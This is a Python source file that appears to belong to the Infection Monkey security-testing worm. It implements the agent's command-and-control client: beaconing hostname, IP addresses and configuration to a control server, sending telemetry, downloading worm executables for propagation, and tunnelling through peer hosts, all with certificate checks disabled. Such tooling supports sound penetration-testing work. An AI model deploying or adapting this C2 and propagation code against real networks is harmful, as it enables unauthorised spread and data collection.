monkey/chaos_monkey/control.py

184 lines
7.0 KiB
Python
Raw Normal View History

2015-08-30 15:27:35 +08:00
import json
import random
import logging
import requests
import platform
import monkeyfs
from network.info import local_ips
from socket import gethostname, gethostbyname_ex
from config import WormConfiguration, Configuration, GUID
from transport.tcp import TcpProxy
from transport.http import HTTPConnectProxy
import tunnel
2015-08-30 15:27:35 +08:00
__author__ = 'hoffer'
requests.packages.urllib3.disable_warnings()
2015-08-30 15:27:35 +08:00
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
2015-08-30 15:27:35 +08:00
class ControlClient(object):
proxies = {}
2015-08-30 15:27:35 +08:00
@staticmethod
def wakeup(parent=None):
for server in WormConfiguration.command_servers:
try:
hostname = gethostname()
if None == parent:
parent = GUID
WormConfiguration.current_server = server
2015-08-30 15:27:35 +08:00
monkey = { 'guid': GUID,
'hostname' : hostname,
'ip_addresses' : local_ips(),
'description' : " ".join(platform.uname()),
'config' : WormConfiguration.as_dict(),
'parent' : parent,
}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
reply = requests.post("https://%s/api/monkey" % (server,),
data=json.dumps(monkey),
headers={'content-type' : 'application/json'},
verify=False,
proxies=ControlClient.proxies)
break
2015-08-30 15:27:35 +08:00
except Exception, exc:
WormConfiguration.current_server = ''
LOG.warn("Error connecting to control server %s: %s",
server, exc)
if not WormConfiguration.current_server:
if not ControlClient.proxies:
LOG.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel()
if proxy_find:
LOG.info("Found tunnel at %s:%s" % proxy_find)
ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find
ControlClient.wakeup(parent)
else:
LOG.info("No tunnel found")
@staticmethod
def keepalive():
if not WormConfiguration.current_server:
return
try:
monkey = {}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps(monkey),
headers={'content-type' : 'application/json'},
verify=False,
proxies=ControlClient.proxies)
2015-08-30 15:27:35 +08:00
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
2015-08-30 15:27:35 +08:00
return {}
@staticmethod
def send_telemetry(tele_type='general',data=''):
if not WormConfiguration.current_server:
return
try:
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
headers={'content-type' : 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@staticmethod
def load_control_config():
if not WormConfiguration.current_server:
return
try:
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return
2015-08-30 15:27:35 +08:00
try:
WormConfiguration.from_dict(reply.json().get('config'))
except Exception, exc:
2015-08-30 15:27:35 +08:00
LOG.warn("Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.current_server, reply._content, exc)
@staticmethod
def download_monkey_exe(host):
if not WormConfiguration.current_server:
return None
try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()),
headers={'content-type' : 'application/json'},
verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None
size = result_json.get('size')
dest_file = monkeyfs.virtual_path(filename)
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return None
2015-08-30 15:27:35 +08:00
@staticmethod
def create_control_tunnel():
if not WormConfiguration.current_server:
return None
my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
if my_proxy:
proxy_class = TcpProxy
try:
target_addr, target_port = my_proxy.split(':', 1)
target_port = int(target_port)
except:
return None
else:
proxy_class = HTTPConnectProxy
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)